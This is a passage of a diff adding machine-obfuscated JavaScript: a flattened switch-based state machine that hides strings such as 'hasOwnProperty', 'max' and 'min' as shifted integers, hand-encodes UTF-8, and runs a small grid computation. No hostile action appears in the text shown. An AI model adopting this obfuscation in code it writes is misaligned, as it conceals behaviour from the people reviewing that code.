_$ue = _$cv; + _$Qe = _$LC; + _$We = _$Bc; + _$Ye = 6; + _$Ue = _$We >> _$Ye; + _$Oe = 63; + _$Pe = _$Ue & _$Oe; + _$Ge = 128; + _$Ee = _$Pe | _$Ge; + _$ue[_$Qe](_$Ee); + _$ue = _$cv; + _$Qe = _$LC; + _$We = _$Bc; + _$Ye = 63; + _$Ue = _$We & _$Ye; + _$Oe = 128; + _$Pe = _$Ue | _$Oe; + _$ue[_$Qe](_$Pe) + } else { + _$ue = _$Bc; + _$Qe = 2048; + _$We = _$ue >= _$Qe; + _$Ye = _$We; + if (_$Ye) { + _$lr = _$Bc; + _$hr = 65535; + _$Ye = _$lr <= _$hr + } + if (_$Ye) { + _$ue = _$cv; + _$Qe = _$LC; + _$We = _$Bc; + _$Ye = 12; + _$Ue = _$We >> _$Ye; + _$Oe = 15; + _$Pe = _$Ue & _$Oe; + _$Ge = 224; + _$Ee = _$Pe | _$Ge; + _$ue[_$Qe](_$Ee); + _$ue = _$cv; + _$Qe = _$LC; + _$We = _$Bc; + _$Ye = 6; + _$Ue = _$We >> _$Ye; + _$Oe = 63; + _$Pe = _$Ue & _$Oe; + _$Ge = 128; + _$Ee = _$Pe | _$Ge; + _$ue[_$Qe](_$Ee); + _$ue = _$cv; + _$Qe = _$LC; + _$We = _$Bc; + _$Ye = 63; + _$Ue = _$We & _$Ye; + _$Oe = 128; + _$Pe = _$Ue | _$Oe; + _$ue[_$Qe](_$Pe) + } else { + _$ue = _$Bc; + _$Qe = 128; + _$We = _$ue >= _$Qe; + _$Ye = _$We; + if (_$Ye) { + _$lr = _$Bc; + _$hr = 2047; + _$Ye = _$lr <= _$hr + } + if (_$Ye) { + _$ue = _$cv; + _$Qe = _$LC; + _$We = _$Bc; + _$Ye = 6; + _$Ue = _$We >> _$Ye; + _$Oe = 31; + _$Pe = _$Ue & _$Oe; + _$Ge = 192; + _$Ee = _$Pe | _$Ge; + _$ue[_$Qe](_$Ee); + _$ue = _$cv; + _$Qe = _$LC; + _$We = _$Bc; + _$Ye = 63; + _$Ue = _$We & _$Ye; + _$Oe = 128; + _$Pe = _$Ue | _$Oe; + _$ue[_$Qe](_$Pe) + } else { + _$ue = _$cv; + _$Qe = _$LC; + _$We = _$Bc; + _$Ye = 255; + _$Ue = _$We & _$Ye; + _$ue[_$Qe](_$Ue) + } + } + } + } + _$ue = _$cv; + _$Qe = _$PC; + _$We = _$ue[_$Qe]; + _$Xc = _$We; + _$ue = _$Xc; + _$Qe = 2; + _$We = _$ue / _$Qe; + _$Xc = _$We; + _$ue = []; + _$sv = _$ue; + _$ue = 0; + _$Fc = _$ue; + for (_$nv = 0; _$nv < _$Xc; _$nv++) { + _$ue = _$cv; + _$Qe = _$Fc; + _$We = _$ue[_$Qe]; + _$av = _$We; + _$ue = _$cv; + _$Qe = _$Fc; + _$We = 1; + _$Ye = _$Qe + _$We; + _$Ue = _$ue[_$Ye]; + _$ev = _$Ue; + _$ue = _$Fc; + _$Qe = 2; + _$We = _$ue + _$Qe; + _$Fc = _$We; + _$ue = _$av; + _$Qe = 46; + _$We = _$ue - _$Qe; + _$av = _$We; + _$ue = _$ev; + _$Qe = 46; + _$We = _$ue - _$Qe; + _$ev = _$We; + _$ue = _$ev; + _$Qe = 19; + _$We = _$ue * _$Qe; + _$Ye = _$av; + _$Ue = _$We + _$Ye; + _$$c = _$Ue; + _$ue = _$$c; + _$Qe = 11; + _$We = _$ue ^ _$Qe; + _$Jc = _$We; + _$ue = _$sv; + _$Qe = _$nv; + _$We = _$Jc; + _$ue[_$Qe] = _$We + } + _$ue = _$BC; + _$fv = _$ue; + for (_$bv = 0; _$bv < _$sv.length; _$bv++) { + _$ue = _$sv; + _$Qe = _$bv; + _$We = _$ue[_$Qe]; + _$Ye = _$e + _$a; + _$Ue = 2; + _$Oe = _$We[_$Ye](_$Ue); + _$tv = _$Oe; + _$ue = _$tv; + _$Qe = _$LS; + _$We = /^1+?(?=0)/; + _$Ye = _$ue[_$Qe](_$We); + _$iv = _$Ye; + _$ue = _$iv; + _$Qe = _$ue; + if (_$Qe) { + _$lr = _$tv; + _$hr = _$PC; + _$Or = _$lr[_$hr]; + _$Pr = 8; + _$Qe = _$Or === _$Pr + } + if (_$Qe) { + _$ue = _$iv; + _$Qe = 0; + _$We = _$ue[_$Qe]; + _$Ye = _$PC; + _$Ue = _$We[_$Ye]; + _$ov = _$Ue; + _$ue = _$sv; + _$Qe = _$bv; + _$We = _$ue[_$Qe]; + _$Ye = _$V + _$L; + _$Ue = 2; + _$Oe = _$We[_$Ye](_$Ue); + _$Pe = _$_S; + _$Ge = 7; + _$Ee = _$ov; + _$Re = _$Ge - _$Ee; + _$_e = _$Oe[_$Pe](_$Re); + _$kv = _$_e; + for (_$lv = 0; _$lv < _$ov; _$lv++) { + _$ue = _$sv; + _$Qe = _$lv; + _$We = _$bv; + _$Ye = _$Qe + _$We; + _$Ue = _$ue[_$Ye]; + _$Oe = _$e + _$a; + _$Pe = 2; + _$Ge = _$Ue[_$Oe](_$Pe); + _$Ee = _$_S; + _$Re = 2; + _$_e = _$Ge[_$Ee](_$Re); + _$kv += _$_e + } + _$ue = _$kv; + _$Qe = 2; + _$We = parseInt(_$ue, _$Qe); + _$Ye = _$bW(_$We); + _$fv += _$Ye; + _$ue = _$ov; + _$Qe = 1; + _$We = _$ue - _$Qe; + _$bv += _$We + } else { + _$ue = _$sv; + _$Qe = _$bv; + _$We = _$ue[_$Qe]; + _$Ye = _$bW(_$We); + _$fv += _$Ye + } + } + _$ue = _$Zc; + _$Qe = _$fv; + _$We = 0; + _$Ye = _$Yc; + _$Ue = _$ue[_$Qe](_$We, _$Ye); + _$Oe = _$Zc; + _$Pe = _$Uc; + _$Ge = _$Oe[_$Pe]; + _$Ee = _$Ue + _$Ge; + _$Re = _$Zc; + _$_e = _$qc; + _$Le = _$Yc; + _$Zr = 1; + _$zr = _$Le + _$Zr; + _$Er = _$Uc; + _$Rr = _$Re[_$_e](_$zr, _$Er); + _$_r = _$Ee + _$Rr; + _$Lr = _$Zc; + _$Vr = _$Yc; + _$qr = _$Lr[_$Vr]; + _$Hr = _$_r + _$qr; + _$rc = _$Zc; + _$cc = _$Rc; + _$vc = _$Uc; + _$hv = 1; + _$gv = _$vc + _$hv; + _$uv = _$rc[_$cc](_$gv); + _$pv = _$Hr + _$uv; + _$yv = _$pv; + _$wv = _$ls; + _$dv = _$wv; + _$Mv = 1; + _$Iv = _$Mv; + _$ue = _$Iv; + _$Qe = 1; + _$We = _$ue + _$Qe; + _$Iv = _$We; + _$ue = 1; + _$dv = _$ue; + _$ue = _$BC; + _$Av = _$ue; + _$ue = _$Iv; + _$dv = _$ue; + _$ue = 26624; + _$Qe = 24832; + _$We = 29440; + _$Ye = [_$ue, _$Qe, _$We]; + _$Iv = _$Ye; + for (_$Sv = 0; _$Sv < _$Iv.length; _$Sv++) { + _$ue = _$Av; + _$Qe = _$Iv; + _$We = _$Sv; + _$Ye = _$Qe[_$We]; + _$Ue = 8; + _$Oe = _$Ye >> _$Ue; + _$Pe = _$bW(_$Oe); + _$Ge = _$ue + _$Pe; + _$Av = _$Ge + } + _$ue = _$Iv; + _$Qe = _$LC; + _$We = _$dv; + _$Ye = _$ue[_$Qe](_$We); + _$Iv = _$Ye; + _$ue = _$xf; + _$Qe = _$Av; + _$We = _$yv; + _$Ye = _$ue[_$Qe](_$We); + _$Ue = !_$Ye; + if (_$Ue) { + _$ue = _$bs; + _$Yv = _$ue; + _$ue = _$Yv; + _$Qe = _$PC; + _$We = _$ue[_$Qe]; + _$mv = _$We; + _$ue = []; + _$Uv = _$ue; + for (_$Ov = 0; _$Ov < _$mv; _$Ov++) { + _$ue = _$Yv; + _$Qe = _$OC; + _$We = _$Ov; + _$Ye = _$ue[_$Qe](_$We); + _$Tv = _$Ye; + _$ue = _$Tv; + _$Qe = 65536; + _$We = _$ue >= _$Qe; + _$Ye = _$We; + if (_$Ye) { + _$lr = _$Tv; + _$hr = 1114111; + _$Ye = _$lr <= _$hr + } + if (_$Ye) { + _$ue = _$Uv; + _$Qe = _$LC; + _$We = _$Tv; + _$Ye = 18; + _$Ue = _$We >> _$Ye; + _$Oe = 7; + _$Pe = _$Ue & _$Oe; + _$Ge = 240; + _$Ee = _$Pe | _$Ge; + _$ue[_$Qe](_$Ee); + _$ue = _$Uv; + _$Qe = _$LC; + _$We = _$Tv; + _$Ye = 12; + _$Ue = _$We >> _$Ye; + _$Oe = 63; + _$Pe = _$Ue & _$Oe; + _$Ge = 128; + _$Ee = _$Pe | _$Ge; + _$ue[_$Qe](_$Ee); + _$ue = _$Uv; + _$Qe = _$LC; + _$We = _$Tv; + _$Ye = 6; + _$Ue = _$We >> _$Ye; + _$Oe = 63; + _$Pe = _$Ue & _$Oe; + _$Ge = 128; + _$Ee = _$Pe | _$Ge; + _$ue[_$Qe](_$Ee); + _$ue = _$Uv; + _$Qe = _$LC; + _$We = _$Tv; + _$Ye = 63; + _$Ue = _$We & _$Ye; + _$Oe = 128; + _$Pe = _$Ue | _$Oe; + _$ue[_$Qe](_$Pe) + } else { + _$ue = _$Tv; + _$Qe = 2048; + _$We = _$ue >= _$Qe; + _$Ye = _$We; + if (_$Ye) { + _$lr = _$Tv; + _$hr = 65535; + _$Ye = _$lr <= _$hr + } + if (_$Ye) { + _$ue = _$Uv; + _$Qe = _$LC; + _$We = _$Tv; + _$Ye = 12; + _$Ue = _$We >> _$Ye; + _$Oe = 15; + _$Pe = _$Ue & _$Oe; + _$Ge = 224; + _$Ee = _$Pe | _$Ge; + _$ue[_$Qe](_$Ee); + _$ue = _$Uv; + _$Qe = _$LC; + _$We = _$Tv; + _$Ye = 6; + _$Ue = _$We >> _$Ye; + _$Oe = 63; + _$Pe = _$Ue & _$Oe; + _$Ge = 128; + _$Ee = _$Pe | _$Ge; + _$ue[_$Qe](_$Ee); + _$ue = _$Uv; + _$Qe = _$LC; + _$We = _$Tv; + _$Ye = 63; + _$Ue = _$We & _$Ye; + _$Oe = 128; + _$Pe = _$Ue | _$Oe; + _$ue[_$Qe](_$Pe) + } else { + _$ue = _$Tv; + _$Qe = 128; + _$We = _$ue >= _$Qe; + _$Ye = _$We; + if (_$Ye) { + _$lr = _$Tv; + _$hr = 2047; + _$Ye = _$lr <= _$hr + } + if (_$Ye) { + _$ue = _$Uv; + _$Qe = _$LC; + _$We = _$Tv; + _$Ye = 6; + _$Ue = _$We >> _$Ye; + _$Oe = 31; + _$Pe = _$Ue & _$Oe; + _$Ge = 192; + _$Ee = _$Pe | _$Ge; + _$ue[_$Qe](_$Ee); + _$ue = _$Uv; + _$Qe = _$LC; + _$We = _$Tv; + _$Ye = 63; + _$Ue = _$We & _$Ye; + _$Oe = 128; + _$Pe = _$Ue | _$Oe; + _$ue[_$Qe](_$Pe) + } else { + _$ue = _$Uv; + _$Qe = _$LC; + _$We = _$Tv; + _$Ye = 255; + _$Ue = _$We & _$Ye; + _$ue[_$Qe](_$Ue) + } + } + } + } + _$ue = _$Uv; + _$Qe = _$PC; + _$We = _$ue[_$Qe]; + _$jv = _$We; + _$ue = _$jv; + _$Qe = 2; + _$We = _$ue / _$Qe; + _$jv = _$We; + _$ue = []; + _$Pv = _$ue; + _$ue = 0; + _$Cv = _$ue; + for (_$Gv = 0; _$Gv < _$jv; _$Gv++) { + _$ue = _$Uv; + _$Qe = _$Cv; + _$We = _$ue[_$Qe]; + _$Qv = _$We; + _$ue = _$Uv; + _$Qe = _$Cv; + _$We = 1; + _$Ye = _$Qe + _$We; + _$Ue = _$ue[_$Ye]; + _$Wv = _$Ue; + _$ue = _$Cv; + _$Qe = 2; + _$We = _$ue + _$Qe; + _$Cv = _$We; + _$ue = _$Qv; + _$Qe = 46; + _$We = _$ue - _$Qe; + _$Qv = _$We; + _$ue = _$Wv; + _$Qe = 46; + _$We = _$ue - _$Qe; + _$Wv = _$We; + _$ue = _$Wv; + _$Qe = 19; + _$We = _$ue * _$Qe; + _$Ye = _$Qv; + _$Ue = _$We + _$Ye; + _$Kv = _$Ue; + _$ue = _$Kv; + _$Qe = 11; + _$We = _$ue ^ _$Qe; + _$Dv = _$We; + _$ue = _$Pv; + _$Qe = _$Gv; + _$We = _$Dv; + _$ue[_$Qe] = _$We + } + _$ue = _$BC; + _$Nv = _$ue; + for (_$_v = 0; _$_v < _$Pv.length; _$_v++) { + _$ue = _$Pv; + _$Qe = _$_v; + _$We = _$ue[_$Qe]; + _$Ye = _$e + _$a; + _$Ue = 2; + _$Oe = _$We[_$Ye](_$Ue); + _$Zv = _$Oe; + _$ue = _$Zv; + _$Qe = _$LS; + _$We = /^1+?(?=0)/; + _$Ye = _$ue[_$Qe](_$We); + _$zv = _$Ye; + _$ue = _$zv; + _$Qe = _$ue; + if (_$Qe) { + _$lr = _$Zv; + _$hr = _$PC; + _$Or = _$lr[_$hr]; + _$Pr = 8; + _$Qe = _$Or === _$Pr + } + if (_$Qe) { + _$ue = _$zv; + _$Qe = 0; + _$We = _$ue[_$Qe]; + _$Ye = _$PC; + _$Ue = _$We[_$Ye]; + _$Ev = _$Ue; + _$ue = _$Pv; + _$Qe = _$_v; + _$We = _$ue[_$Qe]; + _$Ye = _$q + _$H; + _$Ue = 2; + _$Oe = _$We[_$Ye](_$Ue); + _$Pe = _$_S; + _$Ge = 7; + _$Ee = _$Ev; + _$Re = _$Ge - _$Ee; + _$_e = _$Oe[_$Pe](_$Re); + _$Rv = _$_e; + for (_$Lv = 0; _$Lv < _$Ev; _$Lv++) { + _$ue = _$Pv; + _$Qe = _$Lv; + _$We = _$_v; + _$Ye = _$Qe + _$We; + _$Ue = _$ue[_$Ye]; + _$Oe = _$e + _$a; + _$Pe = 2; + _$Ge = _$Ue[_$Oe](_$Pe); + _$Ee = _$_S; + _$Re = 2; + _$_e = _$Ge[_$Ee](_$Re); + _$Rv += _$_e + } + _$ue = _$Rv; + _$Qe = 2; + _$We = parseInt(_$ue, _$Qe); + _$Ye = _$bW(_$We); + _$Nv += _$Ye; + _$ue = _$Ev; + _$Qe = 1; + _$We = _$ue - _$Qe; + _$_v += _$We + } else { + _$ue = _$Pv; + _$Qe = _$_v; + _$We = _$ue[_$Qe]; + _$Ye = _$bW(_$We); + _$Nv += _$Ye + } + } + _$ue = _$xf; + _$Qe = _$Nv; + _$We = _$yv; + _$ue[_$Qe](_$We); + _$ue = _$Hf; + _$Qe = _$LC; + _$We = _$yv; + _$Ye = _$Wc; + _$Ue = 1; + _$Oe = _$Ye[_$Ue]; + _$Pe = 1; + _$Ge = _$Oe + _$Pe; + _$Ee = [_$We, _$Ge]; + _$ue[_$Qe](_$Ee) + } + } + } + } + _$pe += 33; + break; + case 74: + for (_$ic = 0; _$ic < _$jf.length; _$ic++) { + _$ue = _$rr; + _$Qe = _$LC; + _$We = _$jf; + _$Ye = _$ic; + _$Ue = _$We[_$Ye]; + _$ue[_$Qe](_$Ue) + } + _$pe -= 51; + break; + case 75: + _$mt = _$mt - _$St[2]; + _$pe -= 64; + break; + case 76: + _$er = _$er.p(_$ar); + _$pe += 35; + break; + case 77: + for (_$Vv = 0, + _$qv = _$Cf.length; _$Vv < _$qv; ++_$Vv) { + _$ue = _$Cf; + _$Qe = _$Vv; + _$We = _$ue[_$Qe]; + _$Ye = _$bW(_$We); + _$Hv = _$Ye; + _$Ue = _$ks; + _$xv = _$Ue; + _$Oe = 1; + _$Bv = _$Oe; + _$ue = _$Bv; + _$Qe = 1; + _$We = _$ue + _$Qe; + _$Bv = _$We; + _$ue = 1; + _$xv = _$ue; + _$ue = _$BC; + _$Xv = _$ue; + _$ue = _$Bv; + _$xv = _$ue; + _$ue = 13312; + _$Qe = 12416; + _$We = 14720; + _$Ye = 10112; + _$Ue = 15232; + _$Oe = 14080; + _$Pe = 10240; + _$Ge = 14592; + _$Ee = 14208; + _$Re = 14336; + _$_e = 12928; + _$Le = 14592; + _$Zr = 14848; + _$zr = 15488; + _$Er = [_$ue, _$Qe, _$We, _$Ye, _$Ue, _$Oe, _$Pe, _$Ge, _$Ee, _$Re, _$_e, _$Le, _$Zr, _$zr]; + _$Bv = _$Er; + for (_$Fv = 0; _$Fv < _$Bv.length; _$Fv++) { + _$ue = _$Xv; + _$Qe = _$Bv; + _$We = _$Fv; + _$Ye = _$Qe[_$We]; + _$Ue = 7; + _$Oe = _$Ye >> _$Ue; + _$Pe = _$bW(_$Oe); + _$Ge = _$ue + _$Pe; + _$Xv = _$Ge + } + _$ue = _$Bv; + _$Qe = _$LC; + _$We = _$xv; + _$Ye = _$ue[_$Qe](_$We); + _$Bv = _$Ye; + _$ue = _$kc; + _$Qe = _$Xv; + _$We = _$Hv; + _$Ye = _$ue[_$Qe](_$We); + if (_$Ye) { + _$ue = _$bc; + _$Qe = _$LC; + _$We = _$kc; + _$Ye = _$Hv; + _$Ue = _$We[_$Ye]; + _$Oe = _$OC; + _$Pe = 0; + _$Ge = _$Ue[_$Oe](_$Pe); + _$ue[_$Qe](_$Ge) + } + } + _$pe -= 52; + break; + case 78: + _$mt = _$mt + _$St[6]; + _$pe -= 77; + break; + case 79: + _$Jv = _$jc + _$FQ + _$Of; + _$$v = []; + _$pe += 34; + break; + case 80: + for (_$as = 0; _$as < _$Kf.length; _$as++) { + _$ue = _$oc; + _$Qe = _$Kf; + _$We = _$as; + _$Ye = _$Qe[_$We]; + _$Ue = 3; + _$Oe = _$Ye >> _$Ue; + _$Pe = _$bW(_$Oe); + _$Ge = _$ue + _$Pe; + _$oc = _$Ge + } + _$pe += 16; + break; + case 81: + if (_$St[8] - _$St[5] > 0) { + _$ue = _$mt; + _$Qe = _$St; + _$We = 4; + _$Ye = _$Qe[_$We]; + _$Ue = _$ue + _$Ye; + _$mt = _$Ue; + _$ue = _$mt; + _$Qe = _$St; + _$We = 6; + _$Ye = _$Qe[_$We]; + _$Ue = _$ue + _$Ye; + _$Oe = _$St; + _$Pe = 5; + _$Ge = _$Oe[_$Pe]; + _$Ee = _$Ue - _$Ge; + _$mt = _$Ee + } else { + _$ue = _$mt; + _$Qe = _$St; + _$We = 0; + _$Ye = _$Qe[_$We]; + _$Ue = _$ue * _$Ye; + _$mt = _$Ue; + _$ue = _$mt; + _$Qe = _$St; + _$We = 2; + _$Ye = _$Qe[_$We]; + _$Ue = _$ue - _$Ye; + _$mt = _$Ue + } + _$pe += 24; + break; + case 82: + _$JW = []; + _$pe += 32; + break; + case 83: + _$es = [[5, 4], [-6, 4]]; + _$rs = _$es.length; + _$df = _$es[0].length; + _$Mf = []; + _$pe -= 38; + break; + case 84: + _$cr = 1; + _$pe -= 57; + break; + case 85: + _$cr = _$vr; + _$pe -= 46; + break; + case 86: + _$If = _$xe; + _$pe -= 42; + break; + case 87: + _$Af = false; + _$pe -= 59; + break; + case 88: + _$mt = _$mt / _$St[4]; + _$pe -= 68; + break; + case 89: + _$Sf = _$os; + _$mf = 1; + _$pe += 3; + break; + case 90: + _$Tf = _$UW; + _$jf = _$JW; + _$Cf = _$_W; + _$Df = _$is; + _$Kf = 1; + _$pe -= 77; + break; + case 91: + _$Je = _$Je.p(_$Fe); + _$pe -= 28; + break; + case 92: + _$mf = _$mf + 1; + _$pe -= 59; + break; + case 93: + for (_$Qf = 0; _$Qf < _$we.length; ) { + _$ue = _$uc; + _$Qe = _$_C; + _$We = _$we; + _$Ye = _$_C; + _$Ue = _$Qf; + _$Oe = _$We[_$Ye](_$Ue); + _$Pe = _$OC; + _$Ge = _$Oe[_$Pe](); + _$Ee = 32; + _$Re = _$Ge - _$Ee; + _$_e = _$ue[_$Qe](_$Re); + _$Wf = _$_e; + _$Le = _$uc; + _$Zr = _$_C; + _$zr = _$we; + _$Er = _$_C; + _$Rr = _$Qf; + _$_r = 1; + _$Lr = _$Rr + _$_r; + _$Vr = _$zr[_$Er](_$Lr); + _$qr = _$OC; + _$Hr = _$Vr[_$qr](); + _$rc = 32; + _$cc = _$Hr - _$rc; + _$vc = _$Le[_$Zr](_$cc); + _$Yf = _$vc; + _$ue = _$de; + _$Qe = _$Wf; + _$We = _$Yf; + _$ue[_$Qe] = _$We; + _$ue = _$Qf; + _$Qe = 2; + _$We = _$ue + _$Qe; + _$Qf = _$We + } + _$pe -= 36; + break; + case 94: + _$Uf = _$at; + _$Of = _$BC; + _$pe -= 13; + break; + case 95: + _$_f = _$xY; + _$Lf = _$MY; + _$Vf = 0; + _$qf = 0; + _$Hf = [[_$_f, 0]]; + _$xf = new _$Qt; + _$pe -= 13; + break; + case 96: + _$Kf = _$Kf.p(_$Df); + _$pe -= 90; + break; + case 97: + _$YW = _$$v; + _$pe += 5; + break; + case 98: + _$Bf = []; + _$pe -= 43; + break; + case 99: + try { + _$ue = _$ts; + _$Xf = _$ue; + _$Qe = 1; + _$Ff = _$Qe; + _$ue = _$Ff; + _$Qe = 1; + _$We = _$ue + _$Qe; + _$Ff = _$We; + _$ue = 1; + _$Xf = _$ue; + _$ue = _$BC; + _$Jf = _$ue; + _$ue = _$Ff; + _$Xf = _$ue; + _$ue = 6356992; + _$Qe = 6553600; + _$We = 6553600; + _$Ye = [_$ue, _$Qe, _$We]; + _$Ff = _$Ye; + for (_$$f = 0; _$$f < _$Ff.length; _$$f++) { + _$ue = _$Jf; + _$Qe = _$Ff; + _$We = _$$f; + _$Ye = _$Qe[_$We]; + _$Ue = 16; + _$Oe = _$Ye >> _$Ue; + _$Pe = _$bW(_$Oe); + _$Ge = _$ue + _$Pe; + _$Jf = _$Ge + } + _$ue = _$Ff; + _$Qe = _$LC; + _$We = _$Xf; + _$Ye = _$ue[_$Qe](_$We); + _$Ff = _$Ye; + _$ue = _$xf; + _$Qe = _$Jf; + _$We = _$_f; + _$ue[_$Qe](_$We) + } catch (_$a) {} + _$pe -= 26; + break; + case 100: + _$at = _$BC; + _$pe -= 84; + break; + case 101: + _$Je = [113664, 100352, 108544, 103424, 101376, 118784]; + _$pe -= 91; + break; + case 102: + for (_$nc = _$rs - 1; _$nc >= 0; _$nc--) { + for (_$fc = _$df - 1; _$fc >= 0; _$fc--) { + _$ue = _$nc; + _$Qe = _$rs; + _$We = 1; + _$Ye = _$Qe - _$We; + _$Ue = _$ue == _$Ye; + _$Oe = _$Ue; + if (_$Oe) { + _$lr = _$fc; + _$hr = _$df; + _$Or = 1; + _$Pr = _$hr - _$Or; + _$Oe = _$lr == _$Pr + } + if (_$Oe) { + _$ue = _$fs; + _$et = _$ue; + _$Qe = 1; + _$rt = _$Qe; + _$ue = _$rt; + _$Qe = 1; + _$We = _$ue + _$Qe; + _$rt = _$We; + _$ue = 1; + _$et = _$ue; + _$ue = _$BC; + _$ct = _$ue; + _$ue = _$rt; + _$et = _$ue; + _$ue = 55808; + _$Qe = 49664; + _$We = 61440; + _$Ye = [_$ue, _$Qe, _$We]; + _$rt = _$Ye; + for (_$vt = 0; _$vt < _$rt.length; _$vt++) { + _$ue = _$ct; + _$Qe = _$rt; + _$We = _$vt; + _$Ye = _$Qe[_$We]; + _$Ue = 9; + _$Oe = _$Ye >> _$Ue; + _$Pe = _$bW(_$Oe); + _$Ge = _$ue + _$Pe; + _$ct = _$Ge + } + _$ue = _$rt; + _$Qe = _$LC; + _$We = _$et; + _$Ye = _$ue[_$Qe](_$We); + _$rt = _$Ye; + _$ue = _$Mf; + _$Qe = _$nc; + _$We = _$ue[_$Qe]; + _$Ye = _$fc; + _$Ue = Math; + _$Oe = _$ct; + _$Pe = 1; + _$Ge = 1; + _$Ee = _$es; + _$Re = _$nc; + _$_e = _$Ee[_$Re]; + _$Le = _$fc; + _$Zr = _$_e[_$Le]; + _$zr = _$Ge - _$Zr; + _$Er = _$Ue[_$Oe](_$Pe, _$zr); + _$We[_$Ye] = _$Er + } else { + _$ue = _$nc; + _$Qe = _$rs; + _$We = 1; + _$Ye = _$Qe - _$We; + _$Ue = _$ue == _$Ye; + if (_$Ue) { + _$ue = _$ns; + _$st = _$ue; + _$Qe = _$st; + _$We = _$OC; + _$Ye = 0; + _$Ue = _$Qe[_$We](_$Ye); + _$Oe = _$st; + _$Pe = _$PC; + _$Ge = _$Oe[_$Pe]; + _$Ee = _$Ue - _$Ge; + _$Re = _$bW(_$Ee); + _$nt = _$Re; + for (_$ft = 1; _$ft < _$st.length; _$ft++) { + _$ue = _$st; + _$Qe = _$OC; + _$We = _$ft; + _$Ye = _$ue[_$Qe](_$We); + _$Ue = _$nt; + _$Oe = _$OC; + _$Pe = _$ft; + _$Ge = 1; + _$Ee = _$Pe - _$Ge; + _$Re = _$Ue[_$Oe](_$Ee); + _$_e = _$Ye - _$Re; + _$Le = _$bW(_$_e); + _$nt += _$Le + } + _$ue = _$Mf; + _$Qe = _$nc; + _$We = _$ue[_$Qe]; + _$Ye = _$fc; + _$Ue = Math; + _$Oe = _$nt; + _$Pe = 1; + _$Ge = _$Mf; + _$Ee = _$nc; + _$Re = _$Ge[_$Ee]; + _$_e = _$fc; + _$Le = 1; + _$Zr = _$_e + _$Le; + _$zr = _$Re[_$Zr]; + _$Er = _$es; + _$Rr = _$nc; + _$_r = _$Er[_$Rr]; + _$Lr = _$fc; + _$Vr = _$_r[_$Lr]; + _$qr = _$zr - _$Vr; + _$Hr = _$Ue[_$Oe](_$Pe, _$qr); + _$We[_$Ye] = _$Hr + } else { + _$ue = _$fc; + _$Qe = _$df; + _$We = 1; + _$Ye = _$Qe - _$We; + _$Ue = _$ue == _$Ye; + if (_$Ue) { + _$ue = _$ss; + _$tt = _$ue; + _$Qe = 1; + _$it = _$Qe; + _$ue = _$it; + _$Qe = 1; + _$We = _$ue + _$Qe; + _$it = _$We; + _$ue = 1; + _$tt = _$ue; + _$ue = _$BC; + _$ot = _$ue; + _$ue = _$it; + _$tt = _$ue; + _$ue = 446464; + _$Qe = 397312; + _$We = 491520; + _$Ye = [_$ue, _$Qe, _$We]; + _$it = _$Ye; + for (_$kt = 0; _$kt < _$it.length; _$kt++) { + _$ue = _$ot; + _$Qe = _$it; + _$We = _$kt; + _$Ye = _$Qe[_$We]; + _$Ue = 12; + _$Oe = _$Ye >> _$Ue; + _$Pe = _$bW(_$Oe); + _$Ge = _$ue + _$Pe; + _$ot = _$Ge + } + _$ue = _$it; + _$Qe = _$LC; + _$We = _$tt; + _$Ye = _$ue[_$Qe](_$We); + _$it = _$Ye; + _$ue = _$Mf; + _$Qe = _$nc; + _$We = _$ue[_$Qe]; + _$Ye = _$fc; + _$Ue = Math; + _$Oe = _$ot; + _$Pe = 1; + _$Ge = _$Mf; + _$Ee = _$nc; + _$Re = 1; + _$_e = _$Ee + _$Re; + _$Le = _$Ge[_$_e]; + _$Zr = _$fc; + _$zr = _$Le[_$Zr]; + _$Er = _$es; + _$Rr = _$nc; + _$_r = _$Er[_$Rr]; + _$Lr = _$fc; + _$Vr = _$_r[_$Lr]; + _$qr = _$zr - _$Vr; + _$Hr = _$Ue[_$Oe](_$Pe, _$qr); + _$We[_$Ye] = _$Hr + } else { + _$ue = _$vs; + _$bt = _$ue; + _$Qe = 1; + _$lt = _$Qe; + _$ue = _$lt; + _$Qe = 1; + _$We = _$ue + _$Qe; + _$lt = _$We; + _$ue = 1; + _$bt = _$ue; + _$ue = _$BC; + _$ht = _$ue; + _$ue = _$lt; + _$bt = _$ue; + _$ue = 892928; + _$Qe = 860160; + _$We = 901120; + _$Ye = [_$ue, _$Qe, _$We]; + _$lt = _$Ye; + for (_$gt = 0; _$gt < _$lt.length; _$gt++) { + _$ue = _$ht; + _$Qe = _$lt; + _$We = _$gt; + _$Ye = _$Qe[_$We]; + _$Ue = 13; + _$Oe = _$Ye >> _$Ue; + _$Pe = _$bW(_$Oe); + _$Ge = _$ue + _$Pe; + _$ht = _$Ge + } + _$ue = _$lt; + _$Qe = _$LC; + _$We = _$bt; + _$Ye = _$ue[_$Qe](_$We); + _$lt = _$Ye; + _$ue = _$cs; + _$ut = _$ue; + _$Qe = 1; + _$pt = _$Qe; + _$ue = _$pt; + _$Qe = 1; + _$We = _$ue + _$Qe; + _$pt = _$We; + _$ue = 1; + _$ut = _$ue; + _$ue = _$BC; + _$yt = _$ue; + _$ue = _$pt; + _$ut = _$ue; + _$ue = 446464; + _$Qe = 397312; + _$We = 491520; + _$Ye = [_$ue, _$Qe, _$We]; + _$pt = _$Ye; + for (_$wt = 0; _$wt < _$pt.length; _$wt++) { + _$ue = _$yt; + _$Qe = _$pt; + _$We = _$wt; + _$Ye = _$Qe[_$We]; + _$Ue = 12; + _$Oe = _$Ye >> _$Ue; + _$Pe = _$bW(_$Oe); + _$Ge = _$ue + _$Pe; + _$yt = _$Ge + } + _$ue = _$pt; + _$Qe = _$LC; + _$We = _$ut; + _$Ye = _$ue[_$Qe](_$We); + _$pt = _$Ye; + _$ue = _$Mf; + _$Qe = _$nc; + _$We = _$ue[_$Qe]; + _$Ye = _$fc; + _$Ue = Math; + _$Oe = _$yt; + _$Pe = 1; + _$Ge = Math; + _$Ee = _$ht; + _$Re = _$Mf; + _$_e = _$nc; + _$Le = _$Re[_$_e]; + _$Zr = _$fc; + _$zr = 1; + _$Er = _$Zr + _$zr; + _$Rr = _$Le[_$Er]; + _$_r = _$Mf; + _$Lr = _$nc; + _$Vr = 1; + _$qr = _$Lr + _$Vr; + _$Hr = _$_r[_$qr]; + _$rc = _$fc; + _$cc = _$Hr[_$rc]; + _$vc = _$Ge[_$Ee](_$Rr, _$cc); + _$hv = _$es; + _$gv = _$nc; + _$uv = _$hv[_$gv]; + _$pv = _$fc; + _$wv = _$uv[_$pv]; + _$Mv = _$vc - _$wv; + _$dt = _$Ue[_$Oe](_$Pe, _$Mv); + _$We[_$Ye] = _$dt + } + } + } + } + } + _$pe -= 31; + break; + case 103: + _$Mt = []; + _$pe -= 63; + break; + case 104: 